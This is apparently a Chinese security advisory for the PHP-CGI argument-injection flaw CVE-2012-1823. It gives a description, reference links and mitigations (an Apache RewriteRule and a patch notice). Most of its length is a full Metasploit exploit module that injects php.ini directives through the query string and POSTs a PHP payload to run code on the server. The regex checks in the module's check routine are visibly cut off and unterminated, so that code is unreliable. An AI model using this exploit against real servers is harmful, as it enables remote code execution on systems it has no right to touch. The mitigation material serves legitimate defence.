php cgi 执行,PHP-CGI远程任意代码执行漏洞

PHP-CGI远程任意代码执行漏洞

发布日期：2012-05-03

更新日期：2012-05-04

受影响系统：

PHP PHP

描述：

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CVE ID: CVE-2012-1823

PHP是一种HTML内嵌式的语言，PHP与微软的ASP颇有几分相似，都是一种在服务器端执行的嵌入HTML文档的脚本语言，语言的风格有类似于C语言，现在被很多的网站编程人员广泛的运用。可以被各种Web服务器以多种方式调用，实现动态网页的功能。

PHP处理参数的传递时存在漏洞，在特定的配置情况下，远程攻击者可能利用此漏洞在服务器上获取脚本源码或执行任意命令。

当PHP以特定的CGI方式被调用时(例如Apache的mod_cgid)，php-cgi接收处理过的查询格式字符串作为命令行参数，允许命令行开关(例如-s、-d 或-c)传递到php-cgi程序，导致源代码泄露和任意代码执行。FastCGI不受影响。

链接：http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

http://ompldr.org/vZGxxaQ

http://zone.wooyun.org/content/151

http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html

http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html

*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

MetaSploit提供了如下测试模块：

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

load 'lib/msf/core/exploit/http/server.rb'

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name'           => 'PHP CGI Argument Injection',

'Description'    => %q{

When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to

an argument injection vulnerability.  This module takes advantage of

the -d flag to set php.ini directives to achieve code execution.

From the advisory: "if there is NO unescaped ‘=’ in the query string,

the string is split on ‘+’ (encoded space) characters, urldecoded,

passed to a function that escapes shell metacharacters (the “encoded in

a system-defined manner” from the RFC) and then passes them to the CGI

binary."

},

'Author'         => [ 'egypt', 'hdm' ],

'License'        => MSF_LICENSE,

'Version'        => '$Revision$',

'References'     => [

[ "CVE"    , "2012-1823" ],

[ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],

],

'Privileged'     => false,

'Payload'        =>

{

'DisableNops' => true,

# Arbitrary big number. The payload gets sent as an HTTP

# response body, so really it's unlimited

'Space'       => 262144, # 256k

},

'DisclosureDate' => 'May 03 2012',

'Platform'       => 'php',

'Arch'           => ARCH_PHP,

'Targets'        => [[ 'Automatic', { }]],

'DefaultTarget' => 0))

register_options([

OptString.new('TARGETURI', [false, "The URI to request"]),

], self.class)

end

# php-cgi -h

# ...

#   -s               Display colour syntax highlighted source.

def check

uri = target_uri.path

if(uri and ! uri.empty?)

uri.gsub!(/\?.*/, "")

print_status("Checking uri #{uri}")

response = send_request_raw({ 'uri' => uri })

if response and response.code == 200 and response.body =~ /\\

print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")

return Exploit::CheckCode::Unknown

end

response = send_request_raw({ 'uri' => uri + '?-s'})

if response and response.code == 200 and response.body =~ /\\

return Exploit::CheckCode::Vulnerable

end

print_error("Server responded indicating it was not vulnerable")

return Exploit::CheckCode::Safe

else

return Exploit::CheckCode::Unknown

end

end

def exploit

#sleep 100

begin

php_trues  = [ "1", "on", "true" ]

php_falses = [ "0", "off", "false" ]

args = [

"-d+allow_url_include%3d#{rand_php_ini_true}",

"-d+auto_prepend_file%3dphp://input",

]

qs = args.join("+")

uri = "#{target_uri}?#{qs}"

p uri

# Has to be all on one line, so gsub out the comments and the newlines

payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")

response = send_request_cgi( {

'method' => "POST",

'global' => true,

'uri'    => uri,

'data'   => payload_oneline,

}, 0.1)

handler

rescue ::Interrupt

raise $!

rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused

print_error("The target service unreachable")

rescue ::OpenSSL::SSL::SSLError

print_error("The target failed to negotiate SSL, is this really an SSL service?")

end

end

def rand_php_ini_false

[ "0", "off", "false" ].sort_by{rand}.first

end

def rand_php_ini_true

[ "1", "on", "true" ].sort_by{rand}.first

end

end

建议：

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临时解决方法：

使用RewriteRule来过滤请求：

RewriteRule规则如下

RewriteEngine on

RewriteCond %{QUERY_STRING} ^[^=]*$

RewriteCond %{QUERY_STRING} %2d|\- [NC]

RewriteRule .? - [F,L]

厂商补丁：

PHP

---

目前厂商已经发布了5.3.12及5.4.2两个最新版本，但有报告说并没有正确修复这个安全问题，请密切关注厂商网站下载最新版本：

http://www.php.net